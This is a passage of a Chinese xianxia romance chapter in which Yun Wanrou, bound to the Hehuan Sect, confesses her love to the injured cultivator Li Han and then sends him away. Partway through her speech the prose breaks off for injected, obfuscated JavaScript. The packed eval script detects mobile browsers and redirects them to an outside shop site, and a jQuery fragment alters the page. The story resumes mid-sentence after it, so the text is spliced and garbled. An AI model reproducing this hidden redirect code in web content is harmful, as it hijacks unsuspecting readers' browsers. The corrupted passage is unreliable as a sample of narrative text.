第二天清晨，云绾柔没有去看厉寒。
她坐在洞府窗前，看着窗外那片被晨光照亮的桃林，手指无意识地绞着衣角。她的目光落在远处山脊线上那一道正在变亮的金色边缘上，却并没有真正在看它。晨光沿着窗台缓慢爬升，越过她交握的指尖，在她手背上留下一道细长的暖色痕迹。她没有去客院，也没有差人送话。她只是坐在那里，像一枚已经被放回了原位的棋子，正在缓慢地、无声地适应它该在的位置。
第三天，她依然没有去。午后的日光从窗外照进来，在地面上画出一道正在缓慢移动的光带。她起身关上了窗，像在合拢一枚她不敢再打开的信封。窗外的桃叶在风中沙沙作响，她站在窗边听了一会儿，然后转身走回床边坐下。她不知道自己还能这样坐多久，也不知道当那道门再次被敲响时，她是否还能保持沉默。
第四天清晨，天刚蒙蒙亮，厉寒就来了。
他的脚步声从走廊尽头传来，急促而沉重，每一步都带着一种不容忽视的存在感。他停在洞府门前，敲了两下门，声音像一枚正在被反复叩击的旧锁：“绾柔，你在里面吗？”
云绾柔坐在床边，没有起身，没有回应。
“绾柔，我知道你在里面。”他的声音沿着门板的纹理渗进来，像一枚正在被风吹到她面前的叶子。“你开门，我有话跟你说。”他的声音比前两天更沙哑了，像一条正在干涸的河床，边缘已经开始出现细小的裂痕。
门内没有回应。厉寒站在门外，能听见自己的呼吸正沿着门板的缝隙缓慢渗入那间安静的房间里，像一枚正在被风吹动的旧信，正在寻找一个可以落定的位置。他咬了咬牙，一掌拍在门上——那一下不重，却足够让门沿着它的合页向内旋开，露出门后那片昏暗的空间。
云绾柔坐在床边，背对着他，像一枚已经被放回了原位的棋子。她的脊背挺直，双手交握放在膝上，肩膀线紧绷而安静。晨光正从半掩的窗帘缝隙间漏进来，在她脚边投下一道细长的光带。她没有回头。
厉寒站在门口，他的脸色苍白，嘴唇干裂，像一张被风吹干了的旧纸。他的眼睑边缘有细小的暗色痕迹，像一层正在缓慢干涸的水渍。他后背的伤还没有完全愈合，每走一步都会牵扯到尚未长合的组织，但他没有在意那些。他想见她，想得快要疯掉。“绾柔，”他开口，声音像一枚被反复折叠后展平的旧纸。“你为什么不见我？”
云绾柔没有说话。她能感觉到他正站在她身后几步远的地方，像一棵被风吹弯了却还没有折断的树。他的呼吸急促而紊乱，她能听见他衣料摩擦的细碎声响，和他每隔几下呼吸就会微微停顿的间歇。
“是不是你师尊不让你见我？”厉寒的声音带着一层正在缓慢变厚的、他努力压住却还是溢出来的沉重。“是不是她逼你的？你告诉我，我可以用我的方式来见她。我也可以找她谈，不是用剑，是用别的方式。”
云绾柔依旧没有说话。她的手指在膝上交握得更紧了一些，指节微微泛白，像在握着一件她正在缓慢合拢的物件。
厉寒走到她面前，动作比平时慢了一些，像在走过一段他还不确定是否应该踏入的水域。他蹲下身，伸手轻轻捧起她的脸。她的脸是凉的，像一枚被露水浸透的旧瓷。她的眼睛红红的，像刚刚哭过，但泪痕已经干了，只在眼角处留下两道几乎看不见的浅痕。
“绾柔，你看着我。”他的声音像一层正在缓慢铺展开来的旧布料，边缘已经被磨得发亮，却依然柔软。“你告诉我，你想不想跟我走？”
云绾柔抬起眼来看着他，她的目光落在他的眼睛上，那儿有焦急，有期待，有担忧，有爱意，还有一种她从未在他眼中见过的东西——执着。那是一枚被反复压平过的旧信件，像他已经将这枚信物放在心里反复掂量了很多遍，已经确认过它的重量和温度。那执着让她的心像被什么东西轻轻攥了一下。
“厉寒，”她的声音像一枚正在缓慢沉入深水的叶子，正在沿着那道正在合拢的水面寻找它的出口。“你走吧。忘了我。”
厉寒的瞳孔猛地收缩了一下，像一枚正在被风突然吹灭的烛火。他的声音沙哑：“你说什么？”
“我说，你走吧。”云绾柔别过脸去，不再看他的眼睛。“我们不是一个世界的人。你是散修，我是合欢宗的弟子。我们不可能在一起的。你有你的路要走，我有我的路要留。我们只是恰好在那片竹林里碰到了而已。”
厉寒的手在发抖。“我不信，”他说。“这不是你的真心话。是你师尊让你这么说的，对不对？”
云绾柔没有说话。她的沉默像一层正在缓慢变厚的雪，在他的问题与她的回应之间堆积。
“绾柔，你看着我。”厉寒伸手将她的脸轻轻转回来，让她看着自己。他的目光像一层正在缓慢流动的暖流，沿着她颧骨的弧度向前延伸。“你告诉我——你喜不喜欢我？”
云绾柔的眼泪终于掉了下来。那些眼泪沿着她颧骨的弧度缓慢滑落，在她下颌处汇聚成珠，滴落在两人交握的手指上。“喜欢，”她的声音像一枚正在被风吹动的叶子，边缘还带着晨露的湿润。“我喜欢你。可那又怎样？喜欢能当饭吃吗？喜欢能让我离开合欢宗吗？喜欢能让我师尊放过我吗？她不会放我走的，就像她不会让你带走我一样。你以为她不知道你喜欢我吗？她什么都知道——她会用各种理由
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782178|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把你推远。她会让你相信你是在为我好，而我在为我自己的选择付出代价。”
厉寒看着她，眼眶微微泛红。他看见那些话语沿着她下颌的弧线缓缓落下，在她颈侧的皮肤上留下细微的、正在干涸的湿痕。他感觉到自己的手正在微微收紧，像在握着一枚他不敢用力、却也无法松开的事物。
“那我带你走，”他说，声音像一条正在缓慢解冻的河流，边缘还带着未化的碎冰。“现在就走。不用等明天，不用等伤口好全。你想去哪里，我就带你去哪里。”
“走不了。”云绾柔摇头。她的声音像一枚正在缓慢沉入深水的叶子，正在沿着那道正在合拢的水面寻找它的出口。“合欢宗有阵法，没有师尊的许可，谁也出不去。你一个金丹初期的散修，闯不出去。”
厉寒咬着牙。他能感觉到自己后背的伤口正在因那些紧绷的肌肉而微微作痛，但他没有松开她的手。“那我就闯，”他说，“大不了拼了这条命。”
“你不能死。”云绾柔握紧他的手，像在合拢一件她不敢用力、却也无法松开的信物。“你答应过我的，不会死。”
厉寒看着她，泪水从眼角滑落。那些泪沿着他颧骨的弧度缓慢滑落，在他下颌处汇聚成珠，滴落在她的手背上。“绾柔……”
“你走吧。”云绾柔松开他的手。她的动作很轻，像在放下一件她已经握了很久、终于决定松开的旧物。“忘了我。找一个好姑娘，好好过日子。你值得一个不会让你站在门外等太久的人。”
她站起身，走到门口，伸手拉开门。晨光从门缝间涌进来，在她脚边的地面上铺开一道长条形的光带。“厉寒，后会无期。”
厉寒站在原地，看着她的背影。他的目光落在她微微颤抖的肩膀上，又沿着她脊背的弧线向下滑落。他张了张嘴，想说什么，却发现自己正站在一扇正在缓慢合拢的门前。他转身离开——动作很慢，像在走过一段他正在努力记住的路线。
走出门时，他回头看了她一眼。她站在门内，背对着他，肩膀正在微微颤抖。他知道她在哭。他没有再说话，只是转过身，沿着来时的路走了回去。他的脚步声在走廊尽头渐渐变小，像一枚正在被风吹远的叶子，越来越轻，越来越远。
云绾柔站在门内，听着那脚步声渐渐远去，直到完全消失。她缓缓关上门，背靠着门板滑坐到地上，将脸埋进臂弯里，没有发出声音，只有肩膀在微微颤抖着。晨光正从窗外照进来，在她脚边的地面上铺开一片正在缓慢移动的金色光痕。她的手指垂在身侧，微微蜷曲着，像在握着一件她以为还在、却已经不在的东西。那阵风已经吹过去了，可她还坐在原处，等着风再次转向。